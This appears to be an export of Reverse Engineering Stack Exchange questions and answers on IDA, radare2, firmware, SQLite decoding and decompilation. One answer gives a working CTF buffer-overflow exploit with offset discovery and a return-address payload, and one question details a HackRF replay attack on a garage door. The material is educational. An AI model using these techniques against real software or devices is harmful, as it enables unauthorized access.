src="https://i.stack.imgur.com/U9PGs.png" alt="enter image description here" /></a></p> <p>you can then click anyone of these capture to look at the call stack</p> <p>as below</p> <p><a href="https://i.stack.imgur.com/I2lpc.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/I2lpc.png" alt="enter image description here" /></a></p>
27706
2021-05-22T21:01:30.777
<p>New to the area, i am trying to identify the code responsible for example for the search functionality in Windows when you start typing in the start menu. What are some generic ways of identifying the file/code where that functionality is implemented?</p> <p>Some ideas i had are:</p> <ol> <li><p>Check out procmon to identify whether your action is causing any events and identify the process, then one can go from there using potentially the corresponding symbols to find the appropriate functions.</p> </li> <li><p>Once we have the appropriate functions, see if possible to set a hardware breakpoint in kernel debugging in the address where the associate code is mapped. (easy when the code resides in kernel space, for userspace functionalities we may be lucky in case of system libraries mapped in the same virtual address for all processes)</p> </li> </ol> <p>Not sure whether the above is the most optimal/effective methodology, any other ideas are welcome</p>
Identifying/debugging code parts responsible for features in Windows
|windows|
<p>The first one is a function pointer in a virtual function table. The second two are <a href="https://docs.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-160" rel="nofollow noreferrer">x64 exception metadata included by the compiler</a>.</p>
27716
2021-05-26T06:27:58.947
<p>I'm studying the dll that was built for x86_64.</p> <p>I study where there are links to the function &quot;call_f1_1806F3630&quot; and do not understand three of them. Are these features of OOP? Help me figure it out: <a href="https://disk.yandex.ru/i/crsvYi4QLBE6dQ" rel="nofollow noreferrer">https://disk.yandex.ru/i/crsvYi4QLBE6dQ</a></p> <ol> <li>Is this a virtual table with methods of some class?</li> </ol> <pre><code>.rdata:0000000180B8E730 BC 06 03 80 01 00 00 00 off_180B8E730 dq offset sub_1800306BC ; DATA XREF: sub_180016668+28↑o .rdata:0000000180B8E730 ; sub_180169E2C+2E↑o ... .rdata:0000000180B8E738 44 8D 03 80 01 00 00 00 dq offset sub_180038D44 .rdata:0000000180B8E740 F0 8D 03 80 01 00 00 00 dq offset sub_180038DF0 ... .rdata:0000000180B8E800 30 03 6F 80 01 00 00 00 dq offset sub_1806F0330 .rdata:0000000180B8E808 30 36 6F 80 01 00 00 00 [B]dq offset call_f1_1806F3630[/B] .rdata:0000000180B8E810 20 3D 6F 80 01 00 00 00 dq offset sub_1806F3D20 .rdata:0000000180B8E818 60 99 16 80 01 00 00 00 dq offset sub_180169960 </code></pre> <ol start="2"> <li>This is not clear at all.</li> </ol> <pre><code>.rdata:0000000180EDAE60 30 36 6F 00 FF FF FF FF stru_180EDAE60 IPtoStateMap &lt;rva call_f1_1806F3630, -1&gt; .rdata:0000000180EDAE60 ; DATA XREF: .rdata:stru_180EDAE28↑o .rdata:0000000180EDAE68 6B 36 6F 00 00 00 00 00 IPtoStateMap &lt;rva loc_1806F366B, 0&gt; .rdata:0000000180EDAE70 C4 37 6F 00 FF FF FF FF IPtoStateMap &lt;rva loc_1806F37C4, -1&gt; .rdata:0000000180EDAE78 CB 37 6F 00 00 00 00 00 IPtoStateMap &lt;rva loc_1806F37CB, 0&gt; .rdata:0000000180EDAE80 71 93 AE 00 01 00 00 00 IPtoStateMap &lt;rva sub_180AE9371, 1&gt; .rdata:0000000180EDAE88 80 93 AE 00 00 00 00 00 IPtoStateMap &lt;rva loc_180AE9380, 0&gt; </code></pre> <ol start="3"> <li>This is not clear at all.</li> </ol> <pre><code>.pdata:000000018110D94C 30 36 6F 00 DA 37 6F 00 88 1C+ RUNTIME_FUNCTION &lt;rva call_f1_1806F3630, rva algn_1806F37DA, \ .pdata:000000018110D94C D0 00 rva stru_180D01C88&gt; </code></pre>
How to understand the result of disassembling IDA Pro (dll x86_64)
|ida|disassemblers|
<p>*.pkg is also firmware file format. <br/> But it's not standard firmware format, it's custom format. You can use unpack tools like *.bin files.</p>
27717
2021-05-26T10:10:38.550
<p>I am a newbi for reversing engineering. I am going to reversing a firmware file. (*.pkg) I could find many tutorials for reversing *.bin, but I can't find any tutorials for reversing *.pkg file. And I don't have the router device yet, so I can't dump a bin file from the device now.</p> <p>*<em>I wanna know how to reversing <em>.pkg and what is the best tool for this reversing work.</em></em></p> <p>====================================================</p> <p>PS: This pkg file was not a firmware, it's a MacOS install file. But I downloaded my router firmware, it's also *.pkg. And it works well with firmware reversing tools. Thank you for your answers.</p>
How to reverse *.pkg file? This is a firmware file of a router
|firmware|
<p>CGI is not a specific type of file; it more so describes the way the file is interacted with. A CGI file could be a script written in any scripting language (e.g. Python, Bash, Perl etc.), or it could be an ELF executable like you have here.</p> <p>Since it's just a normal ELF, you can use any common disassembly/decompilation tool that you would use for other binaries.</p>
27738
2021-05-28T13:41:29.350
<p>I wanna reverse CGI binary file. <br/> Is it possible?<br/> What are the recommended tools and guides?<br/> Thank you for reading my question.</p> <pre><code>$ file test.cgi status.cgi: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped </code></pre>
Is it possible to reverse CGI binary file?
|binary-analysis|elf|binary|
<p>I believe both keyfobs send the same data which is</p> <pre><code>1111 0000 0100 </code></pre> <p>Second keyfob is repeating signal 3 times.</p> <p>DIP encoding to signal would be byte by byte with swapped nibbles.</p> <pre><code>00001111 10 =&gt; 11 11 00 00 01 </code></pre> <p><a href="https://i.stack.imgur.com/VNjf3.png" rel="noreferrer"><img src="https://i.stack.imgur.com/VNjf3.png" alt="enter image description here" /></a></p> <p>Try to use <strong>Autodetect parameters</strong> in URH.</p>
27745
2021-05-27T16:17:10.920
<p><strong>TL;DR solution</strong></p> <ul> <li>Setting 4MHz sample rate and 2Mhz bandwidth in the capture tab (according to the Nyquist theorem the sample rate has to be double the bandwidth)</li> <li>Using the length of a DIP switch position in samples as the samples/symbol parameter</li> <li>Using the DC correction filter</li> <li>Using the generator tab to generate a new refined signal like so:<a href="https://i.stack.imgur.com/orW3A.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/orW3A.png" alt="enter image description here" /></a></li> </ul> <hr /> <p>My colleagues and I have taken on a HackRF project for university, using HackRF One. One of the targets is garage door controllers.</p> <p>We own two controllers with DIP switches for the <em>same</em> door, one has 10 switches while the other one has 12.</p> <p>The controller has a PIC16C54 chip, broadcasting at 27.015Mhz.</p> <p>Using hackrf and Universal Radio Hacker we were able to obtain signals from both controllers (top is 10 switches, bottom is 12):</p> <p><a href="https://i.stack.imgur.com/8KBbE.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8KBbE.png" alt="enter image description here" /></a> We can easily recognize that there is a long wait period after every signal. The DIP switches are <code>0000111110</code> and <code>0000111110000</code> on the 10-switch and 12-switch controller respectively.</p> <p>We were able to notice that the long parts of the signal correspond to 0s and the short bursts (probably including some of the 'silence' after them in order to be the same length) are 1s. At this point I am expecting the signal to be like this:</p> <p><code>0 1111 0 1111 0 1111 0 1111 0 1100 0 1100 0 1100 0 1100 0 1100 0 1111 0 1100 0 1100</code></p> <p>where <code>1111</code> is a dip switch set to 0 and <code>1100</code> is a dip switch set to one.</p> <p>Our efforts to replay the signal for the garage door have been futile, even directly in front of it. We tried to import the data in Audacity and normalize the signal in order to get the most power out of it but Universal Radio Hacker does not import it properly from a RAW 8-bit unsigned PCM 48KHz format (this is the expected format <a href="https://ham.stackexchange.com/questions/5450/hackrf-one-expected-hackrf-transfer-t-file-format-and-its-creation">right</a>?).</p> <p>Despite not succeeding in the replay attack with the captured signal from URH without using audacity, the following questions arose:</p> <ul> <li>Why are there two short burst (1s) instead of the expected zeroes in the end of the signal?</li> <li>The 10 switches controller has a signal without the two zeroes at the start. The garage code should be 10bit then (?)</li> <li>Why does setting the 12 switch controller's last 2 switches to 1 instead of 0 not open the door?</li> </ul> <p>Are we missing something even more important here?</p> <p><strong>Edit:</strong> the door is not rolling code since we are capturing the same signal on every press (and it's a 30 years old door)</p> <p><strong>Edit (2):</strong> The signal with autodetect parameters is the following:</p> <blockquote> <p>11111111111111111111111111111111111111111111 011101110111011101<strong>1</strong>001001001001<strong>1</strong>0011101<strong>1</strong>00100 11111111111111111111111111111111111111111111 011101110111011101_001001001001_0011101_00100 11111111111111111111111111111111111111111111 011101110111011101_001001001001_0011101_001(00)</p> </blockquote> <p><a href="https://i.stack.imgur.com/rcd9y.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/rcd9y.png" alt="enter image description here" /></a></p> <p>But I believe 2000 samples/Symbol is better since it yields:</p> <blockquote> <p>111111111111111111111111111111111110110110110110100100100100100110100100 111111111111111111111111111111111110110110110110100100100100100110100100 111111111111111111111111111111111110110110110110100100100100100110100100</p> </blockquote> <p>The problem is, URH replays samples not bits, so why does the replay not work?</p> <p><strong>Edit (3):</strong> I <a href="https://www.reddit.com/r/hackrf/comments/lf3ddv/best_antenna_to_use_for_key_fobs_and_garage_doors/" rel="nofollow noreferrer">read</a> that the antennas that come with HackRF are not useful for transmitting in that frequency (27.015Mhz), is this true?</p> <p><strong>Edit (4):</strong> After fiddling around with the URH filters I got some good parameters for the capture of a long press I had named &quot;repeat&quot;. The same information is repetitively transmitted for the duration of the press.</p> <p><a href="https://i.stack.imgur.com/NOxaJ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/NOxaJ.png" alt="enter image description here" /></a> which resulted in getting from this: <a href="https://i.stack.imgur.com/YEpGX.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/YEpGX.png" alt="enter image description here" /></a> to this: <a href="https://i.stack.imgur.com/ypzw4.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ypzw4.png" alt="enter image description here" /></a></p> <p>I have not yet tested the attack. Does the way the signal gets decoded into bits change the way it gets repeated? do the parameters affect repetition too? what about the filters?</p> <p>Update: Test through the repeat option in Interpretation tab failed (check edit 4).</p> <p><strong>Edit (4):</strong> I just realized I can use the Generator tab... <a href="https://i.stack.imgur.com/TdG9L.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/TdG9L.png" alt="enter image description here" /></a></p> <p>Will test tomorrow and update accordingly!</p> <p><a href="https://i.stack.imgur.com/zap9o.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/zap9o.png" alt="enter image description here" /></a></p> <p>5k samples/symbol gives desired decoding mentioned by @roscoe but doesn't work for generation</p> <p><a href="https://i.stack.imgur.com/Gf0BC.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Gf0BC.png" alt="enter image description here" /></a></p> <p><strong>Edit (6):</strong> Setting the <strong>sample rate to 4M and bandwidth to 2M during recording</strong> yielded the following: <a href="https://i.stack.imgur.com/xPcgl.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/xPcgl.png" alt="enter image description here" /></a> Autodetect seems to have gotten the right values, samples per symbol was manually set to 4000 since that is the approximate width of a symbol:</p> <p><a href="https://i.stack.imgur.com/yh4CW.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/yh4CW.png" alt="enter image description here" /></a></p> <p>Simply replaying the signal didn't work, <strong>but generating a new signal from the Generator tab with autodetect parameters DID !</strong> <a href="https://i.stack.imgur.com/orW3A.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/orW3A.png" alt="enter image description here" /></a></p>
HackRF One - Replay Attack on Garage Door does not work (12 DIP switches)
|hardware|protocol|
<h2>the Progress of Autoanalysis of IDA</h2> <h3>main logic</h3> <p>there is two <code>level</code>=<code>hierarchy</code>:</p> <ul> <li>refer <a href="https://hex-rays.com/products/ida/support/idadoc/620.shtml" rel="nofollow noreferrer">here</a>, general total <strong>12</strong> <code>step</code>=<code>pass</code> for <code>autoanalysis</code>: <ul> <li><code>FL:&lt;address&gt;</code> execution flow is being traced</li> <li><code>PR:&lt;address&gt;</code> a function is being created</li> <li><code>TL:&lt;address&gt;</code> a function tail is being created</li> <li><code>SP:&lt;address&gt;</code> the stack pointer is being traced</li> <li><code>AC:&lt;address&gt;</code> the address is being analyzed</li> <li><code>LL:&lt;number&gt; </code> a signature file is being loaded</li> <li><code>L1:&lt;address&gt;</code> the first pass of FLIRT</li> <li><code>L2:&lt;address&gt;</code> the second pass of FLIRT</li> <li><code>L3:&lt;address&gt;</code> the third pass of FLIRT</li> <li><code>TP:&lt;address&gt;</code> type information is being applied</li> <li><code>FI:&lt;address&gt;</code> the final pass of autoanalysis</li> <li><code>WF:&lt;address&gt;</code> weak execution flow is being traced</li> </ul> </li> <li>the <code>progress</code>=<code>percentage</code> of each <code>step</code>=<code>pass</code> <ul> <li>the orange arrow inside top binary bar indicated the realtime progress</li> </ul> </li> </ul> <h3>example</h3> <ul> <li>main step process <ul> <li>in <code>AC</code> step -&gt; <code>AC</code> is step <code>5</code>, total <code>12</code> steps <ul> <li>can consider as the main process/percentage is: <code>5</code>/<code>12</code>=<code>41.7%</code></li> </ul> </li> </ul> </li> <li>the detail process inside current <code>AC</code> step <ul> <li>show in figure, process is about <code>~45%</code> <ul> <li><a href="https://i.stack.imgur.com/BKmLz.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BKmLz.jpg" alt="enter image description here" /></a></li> </ul> </li> </ul> </li> </ul> <p>--&gt;&gt;</p> <ul> <li>total process: <code>~46%</code></li> </ul>
27759
2021-05-31T16:06:44.303
<p>Is it possible to create a box / bar in IDA wich indicates the progress?</p>
IDA 7.5 Show the Progress from Auto Analysis?
|ida|
<p>It's just a convoluted function call via function pointers.</p> <pre><code>(*(int (__cdecl **)(int)) </code></pre> <p>casts a given number to a pointer to a function pointer (note the <code>**</code> so second degree function pointer) and dereferences it so you end up with a regular function pointer. The calling convention in use being <code>cdecl</code>. The target function would look like:</p> <pre><code>int __cdecl do_something(int some_arg) { ... } </code></pre> <p>The number being cast and dereferenced then is the address of <code>etext</code> plus 1. So at <code>etext + 1</code> is an address, that points to another address that points to a function.</p> <p>That function then is called with <code>a5</code> as the argument, storing the return value in v5.</p> <p>If I had to make up a C snippet, it would be something like this, the last line being what you posted:</p> <pre><code>typedef int (_cdecl *fptr2)(int); //first degree function pointer typedef typedef int (_cdecl **fptr1)(int); //second degree function pointer typedef int _cdecl do_something(int arg) { return arg+5; } void main() { struct { char unused; //this is for the etext + 1 fptr2 pp_func; //stores a fptr to a fptr } etext; fptr1 func = &amp;do_something; //first degree function pointer etext.pp_func = &amp;func; //second degree function pointer (*etext.pp_func)(1337); //the actual call and the equivalent of your line } </code></pre> <p>A more real-world example would probably be <code>etext+1</code> storing a pointer to a list of function pointers. Outside of that I rarely see second degree function pointers.</p>
27767
2021-06-01T13:01:19.413
<pre><code>v5 = (*(int (__cdecl **)(int))((char *)&amp;etext + 1))(a1); </code></pre> <p>Please explain me what does this line mean (if possible, please write from what it was compiled from (language - c))</p>
An incomprehensible line in the output from hex rays
|hexrays|
<p>I had success using the <a href="https://github.com/G4224T/Fody-Costura-Decompress" rel="nofollow noreferrer">Fody-Costura-Decompress tool</a>.</p> <p>You would need to build the solution from source. it has a simple GUI for choosing your file and decompressing it.</p>
27791
2021-06-04T14:00:24.533
<p>There is a program that is possibly a RAT, and I would like to view the source code. After opening the .exe in dnSpy, I was able to tell that it was compressed with Fody-Costura. (<a href="https://github.com/Fody/Costura" rel="nofollow noreferrer">https://github.com/Fody/Costura</a>) Is there any way to de-compress the file? If so, how?</p>
Is there a way to decompress a Fody-Costura generated exe in c#?
|decompress|c#|exe|windows-10|dnspy|
<p>those numbers you pasted are ordinals for the respective characters</p> <p>92 is ordinal for escaped backslash</p> <pre><code>ord('\\') 92 </code></pre> <p>you can use a for i in blah construct with python to print them up</p> <pre><code>python Python 3.9.1 (tags/v3.9.1:1e5d33e, Dec 7 2020, 17:08:21) [MSC v.1927 64 bit (AMD64)] on win32 Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information. &gt;&gt;&gt; input = [92,91,72,49,93,32,32,39,97,98,32,32,97,119,98,60,98,114,62,10,60,98,114,62,10,97,32,112,114,105,109,105,116,105,118,101,32,119,111,114,100,59,60,98,114,62,10,60,98,114,62,10,102,97,116,104,101,114,44,32,105,110,32,97,32,108,105,116,101,114,97,108,32,97,110,100,32,105,109,109,101,100,105,97,116,101,44,32,111,114,32,102,105,103,117,114,97,116,105,118,101,32,97,110,100,32,114,101,109,111,116,101,32,97,112,112,108,105,99,97,116,105,111,110,41,46,32,67,111,109,112,97,114,101,32,110,97,109,101,115,32,105,110,32,34,65,98,105,45,34,46,60,98,114,62,10,60,98,114,62,10,60,98,114,62,10,75,74,86,58,32,99,104,105,101,102,44,32,40,102,111,114,101,45,41,102,97,116,104,101,114,40,45,108,101,115,115,41,44,32,88,32,32,112,97,116,114,105,109,111,110,121,44,32,112,114,105,110,99,105,112,97,108,46,60,98,114,62,10] &gt;&gt;&gt; for i in input: ... print(chr(i),end=&quot;&quot;) ... \[H1] 'ab awb&lt;br&gt; &lt;br&gt; a primitive word;&lt;br&gt; &lt;br&gt; father, in a literal and immediate, or figurative and remote application). Compare names in &quot;Abi-&quot;.&lt;br&gt; &lt;br&gt; &lt;br&gt; KJV: chief, (fore-)father(-less), X patrimony, principal.&lt;br&gt; &gt;&gt;&gt; </code></pre> <p>or you can dump the database to a textfile by redirecting this with python</p> <pre><code>import sqlite3 conn = sqlite3.connect(&quot;.\copysql&quot;) cur = conn.cursor() res = cur.execute(&quot;SELECT * FROM Lexicon&quot;) for a in res: print(a) res = cur.execute(&quot;SELECT * FROM TBinfo&quot;) for a in res: print(a) </code></pre>
27801
2021-06-05T20:38:53.060
<p>I have this SQLite Database file</p> <p><a href="https://we.tl/t-RwKqYyS3D7" rel="nofollow noreferrer">https://we.tl/t-RwKqYyS3D7</a></p> <p>When I open it in notepad++, I got some decoded strings. I was trying to clean it and show only the strings without the symboles but then I found this website</p> <p><a href="https://filext.com/online-file-viewer.html" rel="nofollow noreferrer">https://filext.com/online-file-viewer.html</a></p> <p>When I open that file there, it show a db table and the text column have only numbers.</p> <p>I was thinking, maybe that's the strings but encrypted ?</p> <p>Hope someone have an explanation for that numbers and maybe a way to decrypte it.</p> <p>Example of the numbers</p> <pre><code>92,91,72,49,93,32,32,39,97,98,32,32,97,119,98,60,98,114,62,10,60,98,114,62,10,97,32,112,114,105,109,105,116,105,118,101,32,119,111,114,100,59,60,98,114,62,10,60,98,114,62,10,102,97,116,104,101,114,44,32,105,110,32,97,32,108,105,116,101,114,97,108,32,97,110,100,32,105,109,109,101,100,105,97,116,101,44,32,111,114,32,102,105,103,117,114,97,116,105,118,101,32,97,110,100,32,114,101,109,111,116,101,32,97,112,112,108,105,99,97,116,105,111,110,41,46,32,67,111,109,112,97,114,101,32,110,97,109,101,115,32,105,110,32,34,65,98,105,45,34,46,60,98,114,62,10,60,98,114,62,10,60,98,114,62,10,75,74,86,58,32,99,104,105,101,102,44,32,40,102,111,114,101,45,41,102,97,116,104,101,114,40,45,108,101,115,115,41,44,32,88,32,32,112,97,116,114,105,109,111,110,121,44,32,112,114,105,110,99,105,112,97,108,46,60,98,114,62,10 </code></pre> <p>Or maybe a regex to clean all the file</p> <p>Thank you!</p>
How can I decrypte the data in this SQLite Database file
|encryption|decryption|unknown-data|
<p><code>pdf @@f</code> is <code>disassembly function</code> and iterating over all functions (<code>@@f</code>), so obviously you need to have some functions. And if you functions are not analyzed then you won't get disassembly of those. See the following example output (truncated)</p> <pre><code>❯ r2 /bin/ls [0x000067d0]&gt; pdf @@f //&lt;- nothing printed as functions not analyzed [0x000067d0]&gt; aaa [x] Analyze all flags starting with sym. and entry0 (aa) ... [0x000067d0]&gt; pdf @@f Linear size differs too much from the bbsum, please use pdr instead. ... Do you want to print 15755 lines? (y/N) </code></pre> <p>You can clearly see that if binary is not analyzed nothing is printed by <code>pdf @@f</code>.</p> <p>On the other hand you can run <code>pd $s</code> without any analysis and it will start printing the disassembly, but it will disregard any file structure there might be.</p> <pre><code>❯ r2 /bin/ls [0x000067d0]&gt; pd $s Do you want to print 142792 lines? (y/N) </code></pre> <p>So which one to use? I would go with <code>pdf @@f</code> after an analysis if you know the file is some kind of binary executable format. If you have 'unknown' data and want to see if the bytes makes sense as opcodes probably better choise is <code>pd $s</code>.</p>
27823
2021-06-10T07:23:53.773
<p>I've tried searching around on how to disassemble a whole binary. I found that <code>pd $s</code> and <code>pdf @@f</code> are the 2 commands suggested most widely. I could understand the working of the latter, but I don't see how the former works.</p> <p>Description (from <code>p?</code>) of <code>pd</code> - &quot;disassemble N opcodes&quot; <br /> Description (from <code>?$?</code>) of <code>$s</code> - &quot;file size&quot;</p> <p>Therefore, what is the difference between <code>pd $s</code> and <code>pdf @@f</code>? Which command to use to disassemble the <strong>whole</strong> file?</p>
what is the difference between pd $s and pdf @@f in Radare2
|radare2|
<p>Basically, when <code>main</code> calls <code>body</code>, it essentially pushes the return address (which is the value of the <code>EIP</code> register, containing the offset of the instruction following the <code>CALL</code> instruction) to the stack, and then jumps to the address of <code>body</code>. When <code>body</code> will finish running (by executing the <code>RET</code> instruction), it will essentially pop the return address from the stack and jump to wherever it points to. In order to hijack the flow, the attacker must somehow override the stack and place a different address instead of the original return address.</p> <p>In the code you've attached, <code>buffer</code> is placed on the stack. Based on how program stacks behave, somewhere below it is the return address:</p> <pre><code>+---------+ | buffer | | | | | +---------+ | ... | +---------+ | ret | +---------+ </code></pre> <p>There might be a few other things between <code>buffer</code> and <code>ret</code> (such as <code>size</code>, or the old frame pointer), but we can ignore them for the sake of simplicity. The important point is that whatever is in between doesn't push <code>ret</code> &quot;out of reach&quot;. Since <code>buffer</code> is 500 bytes long, and you are allowed to provide 700 bytes of user input, that's more than enough in order to reach <code>ret</code> and override it.</p> <p>So, the plan is to provide a specially-crafted input so that <code>buffer</code> and <code>...</code> contain any random filler, but <code>ret</code> gets overridden with the address of <code>success</code>. The question now is how long that filler should be.</p> <p>It's possible to calculate the exact length by analyzing the disassembly but there are tools that make it easier, such as <a href="https://docs.pwntools.com/en/stable/commandline.html#pwn-cyclic" rel="nofollow noreferrer">cyclic</a>. This tools generates a <a href="https://en.wikipedia.org/wiki/De_Bruijn_sequence" rel="nofollow noreferrer">De-Bruijn sequence</a> which is entered as input to the program. Assuming the input will override <code>ret</code>, we can take the address to which it attempted to jump to and check how far it is from the start of the input. That's the size of the filler.</p> <p>To see this in action, we'll assume that the binary is compiled without protections (<code>gcc vuln.c -o vuln -no-pie -m32 -fno-stack-protector</code>) and that as pointed out by blabb, the input is received by <code>read</code> and not <code>scanf</code>.</p> <p>We provide an input to the program using <code>cyclic</code>:</p> <pre><code>$ cyclic -n 4 550 | ./vuln User provided 550 bytes. Buffer content is: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae&amp; zsh: done cyclic -n 4 550 | zsh: segmentation fault ./vuln </code></pre> <p>We check the error log in order to recover the failing instruction pointer:</p> <pre><code>$ sudo dmesg | tail -n 2 [13575.170536] vuln[2738]: segfault at 66616165 ip 0000000066616165 sp 00000000ffeb7510 error 14 in libc-2.31.so[f7dc6000+1d000] [13575.170545] Code: Unable to access opcode bytes at RIP 0x6661613b. </code></pre> <p>We can see that the program tried to jump to <code>0x66616165</code>. Now we go back to <code>cyclic</code> to check the offset:</p> <pre><code>$ cyclic -n 4 -l 0x66616165 516 </code></pre> <p>This means that our filler needs to be <code>516</code> bytes long.</p> <p>We also need the address of <code>success</code> (might be different for you):</p> <pre><code>$ objdump -D ./vuln | grep success 08049182 &lt;success&gt;: </code></pre> <p>We'll create the secret file:</p> <pre><code>$ echo Secret String &gt; file_you_cant_access.txt </code></pre> <p>And putting it all together, we craft the input (first the filler, then the address of <code>success</code>):</p> <pre><code>$ python3 -c 'import sys; sys.stdout.buffer.write(b&quot;A&quot;*516 + b&quot;\x82\x91\x04\x08&quot;)' | ./vuln User provided 520 bytes. Buffer content is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Secret String zsh: done python3 -c | zsh: segmentation fault ./vuln </code></pre> <p>As expected, the contents of <code>file_you_cant_access.txt</code> is printed (right before the program crashes since we've corrupted its stack).</p>
27826
2021-06-11T07:48:35.780
<p>I'm new to reverse engineering C binaries but have been working on an old ctf and thought to ask for explanation of specific assembly commands and how a buffer overflow might force a function to be called.</p> <p>I have taken apart a binary using ghidra and IDA. Its a pretty standard C program with a main() function and methods:</p> <pre><code>int main(void) { body(); return 0; } void body(void) { char buffer [500]; int size; /* gather input and print to the console */ size = read(0,buffer,700); printf(&quot;\nUser provided %d bytes. Buffer content is: %s\n&quot;,size,buffer); return; } </code></pre> <p>(Note functions listed are reconstructed from assembly code and therefore may not be exactly correct.) It was at this point that I considered a buffer overflow must be the target of the attack.</p> <p>Further searching the program found this function, which I concluded I wanted to call:</p> <pre><code>void success(void) { system(&quot;cat file_you_cant_access.txt&quot;); return; } </code></pre> <p>This function is never called but it clearly is the answer to the challenge. So my question is how I can modify the main/body to call this side function.</p> <p>Unfortunately I don't really understand assembly code so haven't been able to make sense of where addresses are stored and functions are called. Potentially here are some lines that could be significant (they are the lines in the helper method):</p> <pre><code>/* gather input and print to the console */ 08048491 55 PUSH EBP 08048492 89 e5 MOV EBP,ESP 08048494 81 ec 18 SUB ESP,0x218 02 00 00 0804849a c7 44 24 MOV dword ptr [ESP + local_214],0x2bc 08 bc 02 00 00 080484a2 8d 85 00 LEA EAX=&gt;local_204,[EBP + 0xfffffe00] fe ff ff 080484a8 89 44 24 04 MOV dword ptr [ESP + local_218],EAX 080484ac c7 04 24 MOV dword ptr [ESP]=&gt;local_21c,0x0 00 00 00 00 080484b3 e8 78 fe CALL read ssize_t read(int __fd, void * __ ff ff 080484b8 89 45 f4 MOV dword ptr [EBP + local_10],EAX 080484bb 8d 85 00 LEA EAX=&gt;local_204,[EBP + 0xfffffe00] fe ff ff 080484c1 89 44 24 08 MOV dword ptr [ESP + local_214],EAX 080484c5 8b 45 f4 MOV EAX,dword ptr [EBP + local_10] 080484c8 89 44 24 04 MOV dword ptr [ESP + local_218],EAX 080484cc c7 04 24 MOV dword ptr [ESP]=&gt;local_21c,s__User_provided_%d = &quot;\nUser provided %d bytes. Buf a0 85 04 08 </code></pre> <p>The issue is that it appears to not be possible to overflow the buffer into anything meaningful. If the answer isn't obvious, perhaps you can walk me through what approach you would take?</p>
Using a buffer overflow to call a function
|c|buffer-overflow|
<p>This is more of an extended comment than an empirically researched answer.</p> <p><strong>Perspective 1: Decompiler Design Assumption Violation</strong></p> <p>Abstractly, one way that we can think about this is in terms of tool design. A tool tends to perform best when applied to problems its designer developed the tool to solve. Keeping in mind that decompilers perform the reverse of compilation, an argument can be made that using a decompiler to analyze machine code produced from hand-written assembly is an example of applying it to a problem it was not intended to solve, since that machine code was not produced by compilation.</p> <p>In other words, if it is the case that an assumption made by a decompiler is that the machine code being analyzed was produced by a compiler, then machine code produced from hand-written assembly violates this assumption. Attempting to decompile machine code produced from hand-written assembly amounts to attempting to approximate high-level language (HLL) source code for machine code when HLL source code never existed in the first place.</p> <p><a href="https://i.stack.imgur.com/oH4vO.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/oH4vO.png" alt="mumblehard-ghidra-decompilation" /></a></p> <blockquote> <p>In the above screenshot we see output produced by Ghidra's decompiler for machine code in the unpacking stub of a variant of <a href="https://www.welivesecurity.com/wp-content/uploads/2015/04/mumblehard.pdf" rel="nofollow noreferrer">mumblehard</a>. The unpacking stub was written in assembly (observe the system calls made directly at locations <code>0x08048064</code> and <code>0x08048095</code>).</p> </blockquote> <p><strong>Perspective 2: Non-existent Source-to-Assembly Relationship</strong></p> <p>Decompilation is possible because of the relationship between HLL source (e.g. C++) and assembly code generated from that source - a translation accomplished by the compiler. With hand-written assembly, no such relationship ever existed, and no such translation ever took place. Therefore, when dealing with machine code produced from hand-written assembly, it is a mistake to assume that a meaningful mapping should be derived between that machine code and a HLL by a decompiler. Handcrafted assembly need not bear any relationship whatsoever to assembly produced from HLL code via compilation. If the handcrafted assembly takes on a form that for any reason - simply by virtue of the fact that the programmer has complete control over low-level operations - couldn't have been generated by compiling HLL source, it would not be feasible for a decompiler to synthesize an accurate HLL approximation.</p>
27830
2021-06-11T20:16:30.863
